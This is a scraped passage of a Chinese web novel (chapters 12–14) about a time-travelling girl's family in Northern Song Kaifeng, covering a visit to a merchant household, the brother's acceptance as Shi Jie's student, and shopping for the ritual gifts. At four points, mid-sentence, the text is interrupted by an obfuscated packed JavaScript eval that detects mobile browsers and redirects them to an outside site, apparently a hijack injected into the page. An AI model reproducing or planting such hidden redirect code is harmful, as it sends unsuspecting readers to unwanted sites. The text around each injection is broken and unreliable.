“去去去！我都一年没见大姐姐了！”她这几天去的最远的地方就是隔壁街的肉铺。 家中阿婆在礼佛，哥哥废寝忘食的在读书，爹爹又忙得见不着人，很无聊。 大姐住的可是东京城的商业CBD，大相国寺商业文化区，她一定要跟上去长长见识。 距离她们一家搬来东京城已快两个月，正值端午节前夕，家家户户都在门楣插艾草、菖蒲，或悬挂着用艾草扎制的艾人用以驱邪避疫。 农历五月民间视为恶月，因此端午节的习俗都是与辟邪、防疫为主。 宫中与民间皆流行佩戴一种五彩丝线编成的唤作百索的绳结来祛病延年，宫中嫔妃也会佩戴装着朱砂、雄黄等药材的香囊辟邪。 道观门前也会发放“天师符”“五毒符”，供百姓张贴于门庭，或制成饰品佩戴，以镇压邪祟。 而端午前卖的最好的艺术单品，就是张天师骑虎像和钟馗画像，这都是可以贴在家门驱鬼辟邪。 这时也有后世的粽子，他们唤作角黍，以菰叶（茭白的叶）包裹黍米，也就是黄米，内面塞的是枣或者板栗等馅料。 除此之外，北宋的皇帝还会在西边的金明池举办大型龙舟赛与民同乐。 吴悦趴在车窗上撩起帘子看着这个时代的风貌。 汴河是贯穿东京城东西的水上大动脉，河面上星罗棋布的桥梁中，正对于大内御街的州桥是整个京东城最繁忙的枢纽，每日车水马龙，商旅辐辏，桥南桥北分列着堆满着茶叶、丝绸，皮货、药材、珠宝香料的各色商铺，昼夜喧嚣不息。 此时牛车已经通过了州桥，向东转入了一条比较幽静的巷子，来到此处，周遭已经安静下来。这一片都是汴梁大富商宅邸所在，坐落于汴河之畔，又毗邻大相国寺，取的就是以水为财，路通财通的好寓意。 “亲家夫人可是来了，我家主人在府中等候多时了。” 牛车停到朱府门前，一个管家打扮的妇人就恭恭敬敬地迎了上来，吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500248|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悦和她娘被妇人引领下进入后院。 青石板铺就的小径如游龙潜于碧草间，每折转一处便见新景，一路走来，她只觉得看什么都稀罕，甚至感觉廊内的柱子都散发着幽香。 北宋是一个被香料浸透的朝代。当时广州、泉州、明州（今宁波）三大港口内，停泊着满载乳香、龙涎香的大食（阿拉伯）商船，运载着丁香、肉豆蔻的三佛齐（苏门答腊）商队，以及带来沉香、降真香的占城（越南）船只。《萍洲可谈》记载：“蕃舶香药，堆积如山”，仅神宗元丰年间，单次朝贡的乳香便达三十万斤。 不论阶级，宫廷市井，人人用香。 徽宗时，每逢大朝会，金殿阶前就会燃烧上百斤龙涎香，云雾缭绕如坠仙境。士大夫雅集还会有品香鉴，苏轼的雪堂据说终日焚烧海南沉香。连汴河上的纤夫歇脚时，都嚼掺着丁香的槟榔提神。 还有市井传言，泉州蒲寿庚家族因垄断香料贸易富可敌国，以沉香木为梁、檀香木为柱，连仆役衣角都缀着驱虫的广藿香囊。 那么作为专供皇室香料的朱家，其富贵可想而知。 来到后院正厅，吴丽娘和婆母秦大娘子，以及4岁的小女儿朱涴妤也被乳母抱着怀中，立在厅前迎接。 玉雪可爱，这是吴悦给秦大娘子的第一印象，明明只和自家小孙女差一岁，但是个头看着明显高一头，身子骨也瞧着有点过于壮实了，大概更随她那个武官爹，不太符合世人推崇柔弱婉约之姿为尚，这样以后可不好嫁不出去。 心中是这么想的，面上却不能表现出来。秦大娘子收敛心神，努力控制面部表情，笑眯了眼和刘耘娘拉扯起了家常，先是告罪儿子今日不得空谈生意去了，又是感谢吴家从南阳带来的特产，最后连连夸教女有方，终于场面话都说完了，秦大娘子才施施然告辞，把空间留给她们母女。 吴丽娘轻移莲步，将婆母送至垂花门后，方长舒一口气，径直返回厅内，当下卸下当家妇人的沉稳做派，像未出阁的小姑娘般，搂着母亲撒娇道："娘，女儿想你了。" 刘耘娘上下仔细打量着女儿，只见气色还算红润，问了问腹中胎儿详细情况，女儿和女婿处的如何，又抱起小外孙女问最近都在玩些什么。 “我真的无事，就是官人忧心过甚，我才不得不卧床休息几日”她未出阁时也是能拉短弓，骑大马，身体哪有那么孱弱。“他今日不在，也确实是因为店铺有事，才不得不外出处理。” 吴悦单纯的眨眨眼：“是因为端午到了，姐夫要忙着运货吗？” 吴丽娘看着妹妹哑然失笑。 “店铺运货有管事和仆役，还用不着你姐夫肩挑手扛。只是家中有个铺子的管事和账房都告老回乡，这一时之间也找不来合适的人接替。那个铺子又在凌仪街上，周边都是官衙，生意很是冷清，官人在犹豫要不要放出去给别人。” 12. 第 12 章 凌仪街上有着太常寺、尚书省、御史台和开封府，几位当朝执宰的府邸也在那边。其间还辟有馆舍，专为家中拮据，在京无居所的官员和家属赁居。朱家当年买下这铺面时，想的也是满街朱紫贵眷，断不可能少了客源。可惜，朱紫贵眷的香气没挨着，却天天有掌管监察、风闻奏事的御史来店里查看有没有朝廷官员违背“禁奢令”。 吴悦听到却突然有了想法，要是这个铺子能租给她们多好，就卖她捣腾出来的那些新鲜玩意。她试探的摇着刘耘娘的衣摆，满眼都露出渴望两个字。 刘耘娘也有些犹豫，来东京城两个多月她已经感受到了什么是花钱如流水，家中除了丈夫的月薪和职田的收租，就没有其他的进项。现在和西夏的停战条约也已经签订，西线无战事，也没法通过军功来获得赏钱。儿子读书的纸墨书本都不是小数字，更别提女儿慢慢也长大了，需要更多的钱来置办嫁妆。 宋代嫁妆的丰厚直接影响女性在夫家的地位，嫁女花费通常要比娶妇更大，如果嫁妆不够，有些女性甚至无法出嫁变成“大龄剩女”。司马光也抨击“厚嫁成风”言：“将娶妇，先问资妆之厚薄；将嫁女，先问聘财之多少。”就连一些士大夫，也因家庭并不宽裕，无法为女儿按时筹备丰厚陪嫁，又往往顾及脸面，所以只能让姑娘长久地养在娘家。连神宗的弟弟扬王赵颢也因为“有女数人，婚嫁及期，私用不足”而向皇帝哥哥伸手借钱。 因此，东京城内有女儿的家庭，没有不发愁嫁妆的。 “凌仪街的铺面怕不是太贵。”刘耘娘叹了口气。 “比大相国寺周边和潘楼街那边也算不得什么。”吴丽娘很懂母亲的心思，“而且怎么说这还是在内城，也符合咱家的身份。”一个内城的铺子一年的租金都能买两个外城的铺子了，但是她爹怎么说也是正七品的武官，去外城和平民争食太不雅观。 “官人和我说了，这个铺子他表姨家的弟弟也在询问，婆婆看似也有些意动。” 吴丽娘没将后面的话说出来，就轻飘飘的绕过了这个话题。刘耘娘却已经明白了女儿内心所思，打算晚上回家就和丈夫商量一下。 看样子，这个店铺女婿已经打算低价出租，但是与其给了其他人，还不如这个好处让她们得了。 六月的骄阳悬在头顶，像枚烧红的铜钱烙在湛蓝的天空上，院里的月季也蔫蔫地垂在枝头。被留在家中看书的吴夏，刚刚才陪着祖母吃过午饭，本想回到案牍旁继续用功，却被心中的燥热逼得只能坐在院中乘凉，心中还在思索着前些时日，收到的沐阳先生的来信。先生在信中告知已为他在东京城物色好一位老师，并叮嘱他近期尽量闭门不出，在家潜心治学。 这段日子里，他每日读书至子时，勤学不辍之余，也不断揣测先生究竟为其延请了哪位名师。这般矛盾心境令他备受煎熬——既因未知而惴惴不安，又因焦虑而辗转难安，却还要强令自己心无旁骛地研习课业，真是苦煞于他。 这时，一名年轻男子在路与的陪同下缓步走进内院。 这位男子很是清雅俊秀，来到他面前，先没有急着说话，而是上下打量了一番吴夏，这才淡淡道：“吾师有请，请吴小郎君上门一见。” 来了。 吴夏定了定神，回了个礼，“莫敢不从命，烦请问尊师名讳？” “徂徕先生，石徂徕”少年面东肃立，双手叠拱。 吴夏面露惊讶，随即更是恭敬地行礼，请少年在前厅先等片刻，他与家中祖母道辞就来。 不过一会儿，男子，也就是何群，就等到了人出来。 两人皆不敢再耽搁，各跨上匹马，就飞驰而去。 石府 正厅中，石介与一大一小两人对面而坐，桌上放着清茶三盏。 居客位的年轻人，一身斩衰，腰系麻绳，脚穿菅屦，手旁还放着一节苴杖，竟一副重孝装扮。 原来这就是吕公著，字晦叔，宰相吕夷简之子，庆历二年（1042年），24岁的吕公著进士及第，被点为探花。历史上的他官至尚书右仆射（宰相），与司马光共同辅政，“尽废新法”。而他身旁刚到腰线的一个小童，就是他的儿子，今年才8岁的吕希哲。 吕家世代簪缨，曾曾祖父齐国公吕梦奇曾任后唐的兵部侍郎，曾祖父祁国公吕龟祥开府仪同三司、中书令兼尚书令。祖父魏国公吕蒙亨官至大理寺丞。父亲吕夷简，平章军国重事，以太尉之身致仕，3个月前刚刚去世，这重孝就是给他父亲服丧的。 这一门清贵可不比那自诩四世三公的袁绍差半点。 石介望着立于吕公著身畔、尚自惴惴不安的垂髫小儿，正色问道："晦叔真要将令郎托付于我？" 宋朝丧礼中，父丧的服制等级最高，名义为服丧三年，实际为二十七个月（含闰月）。吕公著需扶父柩归葬寿州祖坟，拟定翌日便要启程，走之前决定把儿子留在京中从学。 "稚子得拜先生门下，愚弟无虑矣。"吕公著拱手长揖，虽然难舍舐犊之情，但是他深知乡野僻壤，守制三载，只会贻误幼儿启蒙之机。 “那就将令郎留下吧，我族弟今日也送了个弟子前来，你且稍等，留下随我一起考教一二。” 吕公著颔首。 只是一盏茶的时间，何群就带着吴夏回来了。 吴夏整冠敛衽后才踏入厅中，目不旁视先向主位的石介深揖及地，复又转身朝客座的吕公著行平揖礼，这才垂手侍立阶前静候垂询。 石介端起手边的茶盏饮了一口，也并不急于考校课业，反而介绍起身旁的吕公著。 “这位是前平章军国重事吕夷简吕文靖公的三子，讳公著字晦叔，庆历二年榜眼及第。身侧稚子名希哲，今后也会在我这里治学。” 吴夏闻言，复向吕公著长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500249|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揖为礼，眼角余光微扫立在吕公著身后的吕希哲。 石介转而向吕公著介绍起吴夏："此子吴夏，乃禁军指挥使之子。其父庆历和谈后调防东京，阖家迁居汴梁。吾族弟任南阳县学教谕时，曾言此子机智聪慧，故特召来考校。" 这番言语暗藏机锋。 吴家当然不是像吕家一样的世家望族，他们三代行伍出身，本为士大夫所轻。但是石介偏将其与吕氏名胄并列同门，其意昭然若揭——纵使吕家累世簪缨，在我这里，还不是要与武弁之子同窗共读？ 此中怨怼，也是有着原因的。石介对吕家是不满的，尤其是吕夷简。他在担任执宰的后期，明哲保身、排挤异己，通过扩大荐举权笼络官员，主张“守成”，反对激进变革，为后面司马光等保守派提供了范式，形成“以维/稳为先”的施政惯性，加剧了北宋中后期的改革阻力。 欧阳修批评吕夷简“二十年间坏了天下。其在位之日，专夺国权，胁制中外，人皆畏之。” 当然国家的兴败岂能归于一人。 后代的史学家也只是感叹夷简的保守倾向使北宋错失改革最好的窗口期，导致三冗问题加剧。 吕公著当然知道石介意有所指，但是他也毫不在意。反而将儿子向前一推，漠然地说："希哲，还不拜见师兄。"吕希哲依言趋前，正欲行大礼，却被石介喊住。 “莫急，待我问上一问。” 石介抬眼望着直到此刻都很平静的吴夏，深思片刻后说。 "吾门下弟子皆簪缨世胄之后，或出身耕读之家。你乃武官之后，虽得族弟力荐，然若收你入门，恐遭妄议，诸生必以与武夫之子为伍而耻。若不以师生相称，可留你得侍左右，执洒扫之役，平日仍可以列坐听讲，不知你意下如何？" 这确实有点过分，喊一个七品官员之子来这给你干一些仆从的事，但是又是当前北宋的现实。 北宋重文抑武的国策下，武官群体长期遭受文官集团的压制与轻慢，台谏系统也会频繁攻击武将，让武将形成有功必危的政治生态。 除了被怀疑“得士卒心，恐有唐末五代之患”，影射会有黄袍加身嫌疑的狄青。 还有抗辽名将杨业，也因文官王侁轻敌冒进，强令杨业出击。后为推卸责任，将战败之罪归于杨业，他的几个儿子就是后世脍炙人口的杨家将。 以及西北边防名将的种氏家族，种谔主张主动进攻西夏，与文官集团的保守战略冲突。永乐城之战中，文官徐禧拒绝种谔的建议，强令筑城，致宋军惨败，事后反而是种谔被问责贬官。 镇守河北防辽的王德用，也是被御史用“貌类太祖，宅枕乾冈”，暗示过于"得士心"，有篡位之相，被宋仁宗罢贬。 更不用说曹皇后的爷爷，开国元勋曹彬，曹皇后在宫中处处小心，不敢行错一步，就是因为她深知整个朝廷的文官都在盯着她。 13. 第 13 章 这不得不再发出感慨，北宋的靖康耻，这些统治天下的文人没有一个是无辜的。 似乎也感受到了，自己有些欺负人，石介不禁压低声音说道：“你也可以拒绝，若遇疑难可以上门请教，我也定知无不言，言无不尽。” 吴夏摇摇头说：“先生怎么这么说呢？以前我妹妹见我去学堂读书，也想借我的笔记学习。我劝她：‘女孩子不能参加科举，就算学了知识，也不能说自己是学堂弟子，只会招来嘲笑，白费力气，何必呢？''妹妹却认真地回答：‘学习是为了明辨是非、区分道义与利益，为了探究天地的道理，不是为了求取功名、攀附名师。如果能获得真知灼见，便是默默无名又有什么关系呢？’我听后感到惭愧，这才明白追求学问的初心，又怎么能被虚名束缚呢？” 吴夏迟疑片刻，最终还是坦白道：“我课上所学都会讲与妹妹，她竟然比我还要勤奋好学，经常拿疑难问题来问我。我因此领悟到，求学的真正乐趣在于探究真理、完善本性，而不在于追求虚名。所以拜不拜师并不重要，求学之志不在名位。” 石介心中一震，失神地对着空气喃喃道：“只为探究天地至理，连一名女子都能有此志向。” 吕公著也终于放下之前的漠然神态，目光如炬地审视着厅中这个武家子，又侧头微微看向自己的儿子，瞧见儿子脸上显露出的敬佩之色，不禁微微颔首而笑。 而立在自家老师一旁的何群，竟然心潮难平。私忖吴夏所言，一方面简直"寡廉鲜耻甘为仆隶”，但是另一方面，又觉得对方勇破世俗桎梏。两种心思如乱麻纠葛，竟使他一时语塞。 厅内骤然阒然无声，众人都盯着正座之上的石介表态。 吴夏恍若未觉，施施然地站在厅中，还是恭敬地俯身。 不知过了多久，石介回神，正色望着阶下的吴夏。 “后日，喊你家来送六礼吧”。停顿会，又开口。 吴夏听闻大喜，立刻叩首以拜。 “行了，你先回家和父母准备吧。” 似乎有些疲惫不愿多说，石介让何群将吴夏先带了出去。 等俩人的身影出了垂花门，石介神情凝重，又对着右侧的吕公著说：“晦叔可以再考虑一二。” 吕公著淡然地回道：“不用考虑了，明日我就带着希哲来送六礼。”又微微皱眉“连一武家小子都知道樵薪苦学，我儿又如何比不过。怎么，莫非你还怕我们吕家以势欺人？” 吕希哲也一步跨前，躬身垂首：“还请先生教我。” 石介不禁摇头苦笑，“好你个晦叔，我是担心你们吕家世代簪缨觉得丢面子，如此不知好歹！明日我就在家中恭候大驾！” 攥着这个喜报，吴夏足下生风般的跨进大门。 “阿婆！”未进后院，他便扬声禀道，"孙儿被徂徕先生收为弟子了！”正躺在廊下躺椅休息的吴王氏颤巍巍起身，浑浊的眼眸也泛起光：“真的？”她有些枯瘦的手指紧紧拉住吴夏的右手，再次重复确认：“真的？” “千真万确！后日便行六礼！"吴夏如檐下乳燕般绕廊疾走好几圈，忽然又驻足道，“孙儿去巷口候母亲和妹妹。” 直到酉时，巷口才传来辚辚车声。吴夏迎上前去，望着娘亲抱着妹妹从牛车上下来，吴悦的怀里还抱着一大盒糕点，他接过小妹，喜笑颜开的对着刘耘娘说道，“母亲，我被徂徕先生收为弟子了！” 徂徕先生？ 刘耘娘虽不识此人，但见儿子如此兴奋，想来应是位大儒。 被抱在怀里的吴悦却“咦”了一声——这人她知道啊，宋初三先生之一的石介。他的名气不如倡导培养致天下之治的安定先生胡瑗，也不如娶了宰相侄女的泰山先生孙复，主要就是死的早，记得好像应该就是这两年的事。 吴夏忙介绍了一番徂徕先生其人，并提及后日下六礼事宜。 刘耘娘听罢，当即决定今夜点樊楼的外卖庆祝一番。 “要蟹酿橙、鹿脯脍、水晶脍，”她特意叮嘱，“再要三份梅花汤饼和一坛长春法酒。”吴夏在旁听得咋舌：“娘，这是加入了三十多味名贵中药的药酒，一坛就要20贯..”刘耘娘横他一眼：“你能拜得名师，这可是大喜事，今晚你爹回来的晚，让祖母和娘亲陪你喝上两杯。” 晚饭上其乐融融，一家人对樊楼的美食赞不绝口。吴王氏饮至微醺，拉着孙儿的手絮絮道的说着如果他祖父还在不知道多高兴之类的话。连吴悦都偷喝了几口这加了名贵中药的药酒，美名其曰补补身子。 宴罢，刘耘娘安顿众人早早安歇，自己则坐在房中等待丈夫回来。 窗外夜色渐沉，檐角铜铃在晚风中轻响，自丈夫兼任调任供备库副使后，这般等待已成常态。 直到子时三刻将至，更夫的梆声传来，院门才轻叩，吴父风尘仆仆归来，还是一脸沉郁之色。 他近日点检军中器械，发现半数枪杆竟以桐木充数，刀镡多用铸铁搪塞。此等蠹国行径，令这位在前线厮杀的武官怒火中烧。然而将此等情况上禀上官，太尉寺竟置若罔闻，至今还没有得到回复。 替丈夫解下玄甲，刘耘娘语气里压不住的雀跃的说，“儿子拜了徂徕先生为师！后日行六礼，你须得告假。”接着就喋喋不休的在唠叨明日她打算去哪些店铺买什么。 “徂徕先生？”这个名字对武官来说有点陌生，忽然意识到什么似的，吴军神色惊疑，转头看向妻子。“石介，石徂徕吗？” 看到妻子肯定的点头，他也抚掌大笑。 刘耘娘又说起今日去朱府女婿家，女儿丽娘所说的赁铺之事。吴军断然道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500250|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和女婿好好说道说道，咱们买下这个铺子。儿子日后科举用度浩繁，还需要早作筹谋。”将妻子的手拢在掌心，雄心壮志地说：“我们要一直供儿子读书，说不定，咱武夫家也能出了个状元郎！” 谈及未来，夫妻二人畅想着儿子簪花游街的盛况——娶丞相女、身着紫袍，越说越兴奋。直至夜深疲惫，才相拥沉沉睡去。 次日清早，天还未亮透。 素日爱赖床的吴悦今日格外早起，她生怕爹娘趁她熟睡时带着哥哥去市集。此刻她已穿戴整齐，正蹲守在哥哥房门前。刘耘娘素日最是严厉，可吴夏向来疼她，只要哥哥肯帮她说话，肯定能如愿同行。 东方渐白时，昨夜因兴奋而失眠很晚才睡的吴夏还是照常起身。刚推开房门，便见妹妹和青枣一左一右堵住去路。他扯了扯嘴角，猜到妹妹的心思：“我会劝娘亲带你，你先让开，放我去洗漱。” “好嘞！”吴悦忙不迭起身让路，转而又守在爹娘房门前。不多时，穿戴齐整的刘耘娘推门而出。吴悦朝打开的房门探头张望，居然没看到她爹的身影，好奇地问：“爹呢？昨晚没回来吗？” “天还黑着时就出去了。”刘耘娘没好气地答，又转向也走了过来的儿子，“你爹有事，咱们直接去市集，早饭也去街上吃，你现在去喊路与把牛车备好。” 吴悦一听，急得直跳脚，扑过去抱住刘耘娘的腰，头还在腰间蹭了几下，紧紧不松手：“娘，悦儿也要去！” 刘耘娘低头摸着女儿的发旋，哑然失笑：“带你去可以，但是你不许淘气，也不许乱跑，小心哪个人把你拐走了，可就再也见不到爹娘了。” “娘放心！”吴悦拍着胸脯保证，“要不拿布条把我捆你手上？”这倒是，她对自己的外表很是肯定，这种白白胖胖的一看就能卖个好价钱。 刘耘娘见女儿被唬住，这才满意地点头，就怕小孩子又莽又胆大。 三人辞别祖母吴王氏，坐上路与赶的牛车往马行街方向而去。 北宋时期，商品经济的繁荣促使市场分布广泛，打破了唐代坊市分离的格局，形成了开放性的街市和瓦子。 东京城的民众外出购物可前往以下场所： 首先就是每月初一、十五和节日开放的大相国寺市场，作为东京城规模最大的综合性市集，珠宝、书籍、药材、日用品等各类商品一应俱全。 其次是马行街、潘楼街等日常商业街巷，既有药铺、绸缎庄、酒楼、肉铺等固定商铺，也设有通宵达旦的夜市。 以风味小吃和手工艺品著称的州桥夜市，每日营业至三更时分。 得益于漕运体系的发达，在汴河沿岸也逐渐形成粮食、茶叶、丝绸等大宗商品的批发地。 此外还有同业商铺集中的特色街区，如花卉市场、古玩市场等。 14. 第 14 章 今日大相国寺市场不营业，故众人决定前往马行街采购。 马行街的物价较潘楼街更为低廉，且汇聚了众多特色食肆。 她们一行人选中一家规模颇大的胡饼店落座，店内帮佣达三五人，各司其职。 吴悦啧目不转睛地望着制饼炉灶，她还真没想到这北宋竟已有如此先进的烤炉。 只见一人将面团擀成饼胚，一人用模具压出花纹，另一人则将饼胚送入炉膛烘烤。不多时，就从炉中取出几枚金黄酥脆的面饼，整个店铺都弥漫着诱人的香气。 店中悬挂的价目牌上，还列有满麻、宽焦、侧厚、油砣、髓饼及新样满麻等品类。 四人各点一枚饼食，选择了两枚传统满麻与两枚髓饼，并另购隔壁的豆乳佐餐。片刻后，店家帮佣将食物端至案前。令她意外的是，髓饼内馅竟为是加了蜂蜜。 这确实是她没见识了。 宋代的《营造法式》里已经记载了"砖炉"的砌筑方法，虽然更多的是描述建筑用炉，比如取暖或者烧制砖瓦。 但是陆游的《老学庵笔记》也明确记载："胡饼炉形如仰月，上下著火"，可见当时烤炉采用半圆形立式结构，具备上下双层火源。 南宋《山家清供》亦提及烧饼需"火逼"而成，足证焙烤技术之成熟。 她想要，她一定要得到！回去就缠着娘亲给在家里砌一个土窑！ 只需要黄油、面粉和酵母，辅以土烤炉，一定能给爱赶潮流的东京食客们带来新的味觉体验，还可以提供酸奶水果捞、各种口味酸奶碗。 回想到后世某书上经常会出现的软广，不就是售卖一些青年面包师在乡间使用土窑烤制面包，有诸如吐司、恰巴塔、贝果、蛋挞等品类出品，甚至还有搭配果酱食用的大欧包。 那么除了黄油，猪油的炼制也需要提上日程了！将猪油揉入面团，反复擀叠形成酥层，里面裹上各色馅料，烤制后外皮酥脆、内馅松软，可别提多香了。 猪油的醇厚香味与面食、甜点契合度超级高，尤其适合需要酥脆质感的糕点与炸物。 后世，苏式鲜肉月饼、宁波猪油汤圆、乃至扬州千层油糕，都仍以猪油为核心原料。 猪肉这么好，但是北宋人民对它的开发利用程度，目前还是很低。 苏轼《猪肉颂》也给出了原因，“贵者不肯吃，贫者不解煮”。 这个时候，北宋富人们炒菜常吃的是芝麻油，价格昂贵，每斤120文。 因此平民一般都是使用猪肉炒菜时自然煸出的猪油，也就是直接加热的“干法炼油”。这种方法通过将脂肪块放入铁锅，以文火慢熬，期间不断翻动以防焦糊，使油脂逐渐析出。但是这样炒的油一不注意火候，就会炒焦发苦发涩，出油量也很低。 要直到1054年，为了满足夜市照明和民生饮食所用，宋仁宗开始推行芸薹菜种植，匠人们经过不断尝试，终于制作出了色泽透亮的菜籽油，而芸薹菜也被人称为油菜，之后的北方会开始大肆种植，而南方甚至还出现了冬日闲田稻油轮作。 至于猪油则不如菜油开发程度高，炼制更纯净的油脂，也就是中式的酥皮糕点里可以使用的猪油，需要使用“水法炼制”。在熬油时加入清水，通过水油共沸促进脂肪组织分解，既能减少焦糊现象，又可提升出油率。但是此法多见于明清，不似宋朝时就已经实现了菜油的高度成熟化，到元代的《居家必用事类全集》才第一次见到记载“水油共煎”。 猪油拌白米饭，再倒一些酱油，那可是香得很。还有猪油拌粉，这还是长沙美食。 穿越太早就是这点不好，食物太匮乏了，想吃些啥得自己亲自来。 等用完早饭后，几人又步行来到马行街上最大的一家干果铺。 刘耘娘一进去还没等人上前询问，便径直道明来意。“店家，烦请将上等莲子、红豆、枣子、桂圆各称一份，用红扎纸精心包裹，务必挑选贵店的上品。” "这是为令郎准备束脩之礼吧？可喜可贺，令郎他日必能蟾宫折桂，光耀门楣。"柜台后的店主闻讯立即迎出，拱手不迭地道贺。 刘耘娘笑意盈盈地道谢，吴夏虽有些赧然，仍郑重其事地向店主行了一礼。 “束脩”原来就只是指十条干肉，后演变六礼：芹菜寓意勤奋向学，莲子象征苦心栽培，红豆代表鸿运高照，枣子预祝早登科第，桂圆寓意功德圆满，干肉则延续传统以示尊师重道，这其实是个好兆头，就有点类似考试那天吃根油条和俩鸡蛋一样。也算是国人可爱的小信仰。 片刻后，包装精美的礼盒送至跟前。再度致谢后，刘耘娘携着两个孩子先往菜贩处选购芹菜，再至熟肉铺购置干肉。 当然如果家中繁忙，可以委托牙人代购，或直接在市集杂卖行定制整套束脩礼盒。但刘耘娘坚持亲力亲为，以表对师长的诚挚敬意。 采办齐整束脩六礼，众人又前往文字行挑选笔墨纸张。 古往今来的父母皆然，新学年伊始总要备齐文房新物。吴悦也偷偷给自己夹带了一些私货，买了一捆竹纸，她想尝试着在上面练习绘画。 一行人提着大包小包返回家中，但是并不代表今天的准备工作这就结束了。 刘耘娘丝毫未曾懈怠，先命王婆将采办的束脩六礼用彩绦精心捆扎，装入特别购买的礼盒之中。 转而又为儿子取出新制的青布襕衫，反复叮嘱明日务必穿戴齐整。 安顿好儿子，她方才着手整理夫妇二人的衣装。 这倒成了桩难事。吴军素日里甲胄不离身，居家仅着短褐粗布，翻找良久，方从箱底寻出一件多年前的褐色圆领袍，那还是嫁大女儿丽娘时特意定做的。到了自己这里，她对着妆奁踌躇不决，究竟该佩戴珍珠梳篦还是红玛瑙梳篦。 见状，吴悦连忙上前劝导，劝母亲收敛华丽饰物，穿的素净雅致点。哥哥的先生是读书人，他不会太喜欢奢华的装扮。 刘耘娘听闻觉得有理，把湖蓝色的褙子换掉，另取一件淡紫色褙子。又将儿子唤至跟前，特意叮嘱，明日着常服即可，如常即可。 待诸事妥当，暮色已悄然降临。这一日便在琐碎的筹备中落下帷幕。 次日清晨，众人皆已装束停当，只是吴父近年体态丰腴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500251|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年前的褐色圆领袍穿在身上竟显得有点紧凑。 刘耘娘细细检视丈夫与儿子的衣饰，又逐一核验束脩礼盒内的芹菜、莲子等六礼物件是否完好无损，才吩咐启程。 待到她登车时，却看见小女儿已蜷缩在车厢角落。 刘耘娘气急，伸出手就开始揪她下来。“好个调皮丫头！我说怎么今天这般安静，原是躲在这里。今天是你兄长拜师的吉日，你不许去捣乱，快下来，陪你阿婆去。” “不嘛不嘛，娘你就让我去吧，如果到时候先生不许，我再出来待在牛车里就是了。”吴悦左躲右闪，说什么也不肯下车——这可是千载难逢的古代拜师仪礼，她岂肯错过这绝佳的观察良机？ “算了，就让她去吧，石大人也不会因为一个小女娃娃想观礼而生气的。”吴父觉得女儿好奇哥哥拜师也不是个什么大事，他作为一个武将，本身就对儒家的礼节少了些尊敬，事情大差不差就行，也不用这般计较。 最后，吴悦终得偿所愿。这可不是在瞎胡闹，只要这一次成功的踏进了哥哥读书的地方，未来就会有无数次。毕竟先例既开，往后便无人再觉突兀了。 牛车于算的吉时准时抵达石府。 看到有个女童也跟着跳下牛车，何群微觉讶异，不过还是恭恭敬敬地吴家一行人引至正厅。 站在孔子像前的石介也有点诧异那个小女娃，后来旋即释然，这大概就是弟子口中所说的追求天地之理的妹妹。他颔首微笑，没再多说什么。 拜师礼正式开始，吴父，刘耘娘和吴悦作为家属，肃立于吴夏侧后方观礼。 但见吴夏先向至圣先师孔子像行叩首礼，复向站在阶上的石介行叩首礼，跪呈拜师帖。 石介双手接过束脩礼盒与《拜师帖》，取朱笔郑重签署。宋朝的拜师帖有明确规定师徒义务，收入分配及赡养责任，例如“谢师效力几年”或者“赡养师终老”。但是石介有自己的儿子，不需要个弟子养他，因此上面只有简单的一句话，"自后虽分师徒，谊同父子"。 至此，仪礼告成。吴夏正式成为石介门下弟子。 随后，就是社交时间了。石介被罢免前品阶比吴军高，被喊一声大人无可厚非，但是他现在一白身，倒是不愿意接受被人唤作大人，就让吴父喊石先生就好。 两人这么一来一回的拉扯了几句，他就觉得和一个武夫，实在是找不到话题。吴军也因为要一直想着如何之乎者也，亦是感到疲惫。两人很有默契，就中断了交谈。石介又不便与刘耘娘一个女眷攀谈，目光遂落在吴悦身上。 主要是这个小姑娘视线实在让人无法忽视，从进了门之后就一直直勾勾盯着他，让他有些后背发凉。 挥挥手，召唤上前。 石介很是和蔼的询问，几岁了，都跟着哥哥读了什么书。 